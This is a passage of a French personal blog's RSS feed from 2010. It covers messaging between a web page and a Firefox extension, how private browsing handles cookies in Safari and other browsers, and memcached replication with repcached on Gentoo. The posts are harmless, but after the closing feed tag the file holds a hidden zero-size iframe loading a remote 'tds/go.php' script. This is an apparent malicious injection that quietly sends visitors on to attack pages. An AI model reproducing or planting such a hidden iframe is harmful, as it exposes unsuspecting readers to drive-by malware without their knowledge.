<li class="li1"><div class="de1">doc.<span class="me1">addEventListener</span><span class="br0">&#40;</span><span class="st0">'injector-event'</span>, Injector.<span class="me1">onEvent</span>, <span class="kw2">false</span>, <span class="kw2">true</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1"><span class="br0">&#91;</span>...<span class="br0">&#93;</span></div></li>
<li class="li1"><div class="de1">&nbsp;</div></li>
<li class="li2"><div class="de2">Injector.<span class="me1">onEvent</span> = <span class="kw2">function</span><span class="br0">&#40;</span>aEvent<span class="br0">&#41;</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#123;</span></div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// On peut récupérer l'élément sur lequel a été passé l'évènement</span></div></li>
<li class="li1"><div class="de1">&nbsp; var element = aEvent.<span class="me1">target</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// Et le document associé</span></div></li>
<li class="li2"><div class="de2">&nbsp; var doc = element.<span class="me1">ownerDocument</span>;</div></li>
<li class="li1"><div class="de1">&nbsp; <span class="co1">// Faites ensuite ce que vous voulez. Vous pouvez utiliser la méthode element.getAttribute pour récupérer d'éventuels arguments, éventuellement encodés avec JSON.stringify puis décodés avec JSON.parse</span></div></li>
<li class="li1"><div class="de1"><span class="br0">&#125;</span></div></li></ol></div>
</div>
<h4>2. Envoi d&#8217;un évènement</h4>
<p>Et voici le code à mettre dans votre page HTML :</p>
<div style="font-size: 87.5%;">
<div class="dean_ch" style="white-space: wrap;"><ol><li class="li1"><div class="de1"><span class="co1">// Creation de l'évènement</span></div></li>
<li class="li1"><div class="de1">var ev = document.<span class="me1">createEvent</span><span class="br0">&#40;</span><span class="st0">'Events'</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1">ev.<span class="me1">initEvent</span><span class="br0">&#40;</span><span class="st0">'injector-event'</span>, <span class="kw2">true</span>, <span class="kw2">false</span><span class="br0">&#41;</span>;</div></li>
<li class="li1"><div class="de1"><span class="co1">// On utilise documentElement pour envoyer le message. Vous pouvez utiliser un élément personnalisé, n'importe où dans le code</span></div></li>
<li class="li2"><div class="de2">document.<span class="me1">documentElement</span>.<span class="me1">dispatchEvent</span><span class="br0">&#40;</span>ev<span class="br0">&#41;</span>;</div></li></ol></div>
</div>
<h3>Bibliographie</h3>
<ul>
<li>Le code source de <a title="Firebug : outils pour le développement web" href="http://getfirebug.com/">Firebug</a> pour l&#8217;injection de code.</li>
<li>Un <a title="Communicating from web page to Firefox extension" href="http://stackoverflow.com/questions/1305164/communication-between-firefox-extension-and-page-javascript">post</a> sur stackoverflow qui décrit la deuxième partie.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/08/injection-javascript-code-html-extension-firefox/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Navigation privée et cookies : le cas Safari</title>
		<link>http://blog.cyril.me/2010/08/navigation-privee-cookies-le-cas-safari/</link>
		<comments>http://blog.cyril.me/2010/08/navigation-privee-cookies-le-cas-safari/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 07:26:53 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[safari]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=381</guid>
		<description><![CDATA[A la suite de cet article sur les cookies en navigation privée sous Chrome, Firefox et Internet Explorer, je me suis penché sur le cas Safari. La version que j&#8217;ai utilisée est Safari 5.0.1 pour Windows (avec wine ). 1ère différence : des paramètres par défaut plus restrictifs Par défaut, Safari n&#8217;autorise que les coookies [...]]]></description>
			<content:encoded><![CDATA[<p>A la suite de cet article sur <a href="http://blog.cyril.me/2010/08/navigation-privee-cookies/">les cookies en navigation privée sous Chrome, Firefox et Internet Explorer</a>, je me suis penché sur le cas Safari. La version que j&#8217;ai utilisée est Safari 5.0.1 pour Windows (avec wine <img src='http://blog.cyril.me/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  ).</p>
<h3>1<sup>ère</sup> différence : des paramètres par défaut plus restrictifs</h3>
<p>Par défaut, Safari n&#8217;autorise que les coookies &laquo;&nbsp;des sites que je visite&nbsp;&raquo;. Par défaut donc, Safari n&#8217;accepte pas les cookies tières. Cependant, il accepte tout de même de les supprimer (allez comprendre&#8230;).</p>
<h3>2<sup>ème</sup> différence : persistance des cookies</h3>
<p>J&#8217;ai ensuite effectué les mêmes tests que pour les autres navigateurs, et là aussi le résultat diffère.</p>
<ol>
<li>Je n&#8217;ai pas de cookies. Je passe en navigation privée, je récupère des cookies, et je repasse en mode normal. Là, tout est OK.</li>
<li>Je me prends des cookies. Je passe en navigation privée : les cookies sont toujours présents. Je cherche à les supprimer (avec les headers HTTP) : impossible, les cookies restent en place. En fait, les cookies reprennent alors la valeur qu&#8217;ils avaient avant le passage en navigation privée.</li>
</ol>
<h3>Conclusion</h3>
<p>Safari se comporte réellement différemment que les autres navigateurs. La principale &laquo;&nbsp;fuite&nbsp;&raquo; d&#8217;information étant causée par les cookies tièrce, en ce sens le paramétrage par défaut de Safari est plus sécurisé. Cependant, le fait que l&#8217;<strong>on reste connecté après le passage en navigation privée</strong> est assez perturbant dès lors que l&#8217;on est habitué aux autres navigateurs. Mais le pire, c&#8217;est que l&#8217;<strong>on n&#8217;arrive pas à se déconnecter des services en mode de navigation privée</strong>.</p>
<p>Lien : <a href="http://paxal.net/devel/cookies/">outil de test utilisé pour afficher, écrire et supprimer des cookies</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/08/navigation-privee-cookies-le-cas-safari/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Navigation privée et cookies</title>
		<link>http://blog.cyril.me/2010/08/navigation-privee-cookies/</link>
		<comments>http://blog.cyril.me/2010/08/navigation-privee-cookies/#comments</comments>
		<pubDate>Tue, 10 Aug 2010 20:40:14 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[web]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[cookies]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[html]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=375</guid>
		<description><![CDATA[De plus en plus de navigateurs ont un mode de navigation privée. C&#8217;est le cas pour Chrome, Firefox, Safari et Internet Explorer (inPrivate) en autres. Ces modes permettent de surfer anonymement sur Internet. Enfin anonymement&#8230; Concrètement : la navigation privée, ça change quoi ? Le principe de base, enoncé dans une publicité pour le système [...]]]></description>
			<content:encoded><![CDATA[<p>De plus en plus de navigateurs ont un mode de navigation privée. C&#8217;est le cas pour <a title="Navigation privée sous Chrome" href="http://www.google.com/support/chrome/bin/answer.py?hl=fr&amp;answer=95464" target="_blank">Chrome</a>, <a title="Navigation privée sous Firefox" href="http://www.mozilla-europe.org/fr/firefox/features/#private-browsing" target="_blank">Firefox</a>, <a title="Navigation privée sous Safari" href="http://www.apple.com/fr/safari/what-is.html#security" target="_blank">Safari</a> et <a title="Navigation privée sous IE" href="http://windows.microsoft.com/fr-FR/windows-vista/What-is-InPrivate-Browsing">Internet Explorer (inPrivate)</a> en autres. Ces modes permettent de surfer anonymement sur Internet. Enfin anonymement&#8230;</p>
<h3>Concrètement : la navigation privée, ça change quoi ?</h3>
<p>Le principe de base, enoncé dans une publicité pour le système d&#8217;exploitation de Microsoft Window 7, et son navigateur internet associé IE8, est le suivant : vous pouvez acheter un cadeau sur l&#8217;ordinateur commun en mode privé, et quand vous avez fini il ne reste plus aucune trace de votre passage dans votre navigateur. Ceci est correct pour la majorité des navigateurs.</p>
<p>Lorsque vous entrez en mode de navigation privée, le navigateur n&#8217;enregistrera rien de ce que vous faîtes : tout est stocké dans un répertoire à part, qui vous permet de garder votre historique et vos cookies (nécessaires sur presque tous les sites où vous avez un compte). A la fin, lorsque vous fermez le navigateur ou que vous choisissez d&#8217;arrêter votre session de navigation privée, tout est supprimé et vous retrouvez un navigateur comme si vous n&#8217;aviez jamais rien fait.</p>
<p>Voici les principales applications de la navigation privée :</p>
<ul>
<li>Pour faire un cadeau à quelqu&#8217;un, comme énoncé plus haut ;</li>
<li>Pour aller sur des sites adultes (soyons honnêtes : sans doute la principale utilisation faite de ce mode de navigation)</li>
<li>Pour prêter son ordinateur à quelqu&#8217;un (de confiance) temporairement : si cette personne se connecte à son compte Google par exemple, à la fin de la session vous serez toujours connecté à votre propre compte et non à celui de la personne à qui vous avez prêté votre ordinateur.</li>
</ul>
<h3>Question plus technique : les cookies</h3>
<p>J&#8217;ai eu l&#8217;occasion d&#8217;effectuer différents tests sur Firefox 3.6, Chrome 5.0 et Internet Explorer 8 en utilisant <a title="Lien : outil de test utilisé pour afficher, écrire et supprimer des cookies" href="http://paxal.net/devel/cookies/">cet outil</a>. J&#8217;ai testé les cookies locaux et les cookies tièces. Pour les cookies tièrces, j&#8217;ai utilisé un script javascript distant pour lire et écrire les cookies. Les cookies distribués avaient une durée de vie de 1 journée (86400 secondes).</p>
<ul>
<li><strong>Sans navigation privée :</strong> les cookies locaux et tièrces sont correctement stockés et redistribués aux sites ;</li>
<li><strong>Passage à la navigation privée :</strong> les cookies stockés sont perdus ;</li>
<li><strong>Pendant la navigation privée :</strong> le navigateur se comporte normalement, avec lecture et écriture des cookies locaux et tièrces ;</li>
<li><strong>A la fin de la navigation privée :</strong> les anciens cookies présents sont restaurés.</li>
</ul>
<p>Le point qui me semble le plus important et le moins facile à deviner est donc la perte de toutes les cookies existant lors du passage en navigation privée.</p>
<h3>L&#8217;anonymat sur Internet</h3>
<p>Il existe bien des manières d&#8217;identifier une personne sur Internet. La méthode la plus sûre, et utilisée dans tous les cas (ou presque, j&#8217;imagine), c&#8217;est le cookie. Il permet vraiment d&#8217;identifier une personne derrière un écran. Mais il y a d&#8217;autres informations particulières qui, en dépit de ce que pourra faire votre navigateur, restent imprégnées sur la toile.</p>
<p><strong>L&#8217;adresse IP :</strong> cette adresse est unique par foyer, et fixe dans la majorité des cas. Si vous n&#8217;avez qu&#8217;un seul ordinateur derrière une adresse IP, alors on peut aisément vous reconnaître, quel que soit l&#8217;ordinateur ou le navigateur que vous utilisez : vous êtes la même personne. De plus, il est facile de savoir si vous êtes seuls derrière : il suffit d&#8217;étudier le comportement de votre IP sur une petite attaque réseau bénigne lancée avec nmap par exemple.</p>
<p><strong>Le User-Agent :</strong> si vous êtes plusieurs derrière une IP, on peut utiliser le User-Agent. Le User-Agent est une ligne de texte envoyée à tous les serveurs sur Internet qui permet de définir si vous êtes sous Mac ou PC, si vous utilisez Firefox ou Internet Explorer, si vous êtes sous Windows Vista ou Mac OS 10.4, ou encore sous iPhone ou Android&#8230; Comme deux ordinateurs dans une même maison sont rarement identiques (Système d&#8217;exploitation, Navigateur, et leur version associée), on peut reconnaître par exemple monsieur sous Windows XP et Madame sous Mac OS.</p>
<p><strong>L&#8217;expérience de navigation :</strong> l&#8217;adresse IP pourrait tout de même être suffisante. Si vous êtes plusieurs derrière votre accès Internet à la maison, il n&#8217;en reste pas moins que chacun va sur les sites qui l&#8217;intéresse : Madame va lire Marmiton tandis que Monsieur va lire les Echos.</p>
<h3>Conclusion</h3>
<p>L&#8217;adresse IP est donc bien suffisante dans la majorité des cas pour identifier une personne,. En fait, l&#8217;anonymat sur Internet, vous pouvez l&#8217;oublier. Tout de même, il faudrait aller sur des sites peu scrupuleux pour avoir affaire à ce genre de pratiques (sites pornographiques, de Peer-to-Peer, &#8230;). Pour les autres, les systèmes de navigation privée proposés par les navigateurs sont bien suffisants.</p>
<p>Lien : <a href="http://paxal.net/devel/cookies/">outil de test utilisé pour afficher, écrire et supprimer des cookies</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/08/navigation-privee-cookies/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Repcached : la réplication pour memcached sous Gentoo</title>
		<link>http://blog.cyril.me/2010/08/repcached-replication-memcached-gentoo-ebuild/</link>
		<comments>http://blog.cyril.me/2010/08/repcached-replication-memcached-gentoo-ebuild/#comments</comments>
		<pubDate>Wed, 04 Aug 2010 18:45:26 +0000</pubDate>
		<dc:creator>Cyril</dc:creator>
				<category><![CDATA[Gentoo]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://blog.cyril.me/?p=372</guid>
		<description><![CDATA[J&#8217;ai lu pas mal d&#8217;articles sur comment créer un cluster de session en PHP, afin de pouvoir utiliser plusieurs serveurs web en front tout en conservant les sessions entres les différents serveurs. Finalement, je vais expliquer la solution de repcached. Memcached Memcached est un serveur qui sert à enregistrer et redélivrer des valeurs diverses et [...]]]></description>
			<content:encoded><![CDATA[<p>J&#8217;ai lu pas mal d&#8217;articles sur comment créer un cluster de session en PHP, afin de pouvoir utiliser plusieurs serveurs web en front tout en conservant les sessions entres les différents serveurs. Finalement, je vais expliquer la solution de repcached.</p>
<h3>Memcached</h3>
<p><a href="http://memcached.org/">Memcached</a> est un serveur qui sert à enregistrer et redélivrer des valeurs diverses et variées directement dans la RAM d&#8217;un ordinateur.</p>
<p>Avantages : la rapidité d&#8217;éxecution des commandes et le support dans PHP en installant une simple <a href="http://pecl.php.net/package/memcache">extension PECL</a>.<br />
Inconvénient : perte des données en cas de reboot</p>
<p>Dans notre cas, pour stocker des sessions, c&#8217;est parfait : un accès rapide à des données, et plusieurs serveurs peuvent accéder à cette base de donnée en même temps.</p>
<h3>Repcached</h3>
<p><a href="http://repcached.lab.klab.org/">Repcached</a> permet de pallier l&#8217;inconvénient de memcached : il s&#8217;agit simplement d&#8217;un patch qui permet de gérer la réplication entre deux serveurs. En effet, toute commande d&#8217;écriture sur un serveur est directement reportée sur l&#8217;autre serveur. Ainsi, si l&#8217;un des deux tombe, l&#8217;autre est à jour et peut prendre le relai. De plus, lors du reboot, toutes les données seront automatiquement récupérées auprès du premier serveur.</p>
<p>Cette solution permet du coup de gérer la redondance de l&#8217;information.</p>
<p><em>Puis-je mettre plus de 2 serveurs ?</em><br />
Certainement, mais je ne sais pas trop comment&#8230; On pourrait mettre 3 serveurs en cycle, mais si l&#8217;un tombe, la chaîne est rompue. Il faudrait automatiquement adapter le routage des paquets non plus vers le serveur qui est tombé, mais vers le serveur survivant (<a href="http://blog.cyril.me/2010/07/udp-tcp-port-forwarding-iptables/">en redirigeant les paquets par iptables</a> par exemple).</p>
<h3>Installation sous Gentoo</h3>
<p>J&#8217;ai mis à disposition le serveur memcached 1.2.8 avec repcached 2.2 en ebuild à disposition ici :<br />
<a href="http://cyril.me/ebuild/net-misc/memcached/">http://cyril.me/ebuild/net-misc/memcached/</a></p>
<p>Cet ebuild se base sur la version 2.1-1.2.6 disponible dans l&#8217;overlay wolf32o1.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.cyril.me/2010/08/repcached-replication-memcached-gentoo-ebuild/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
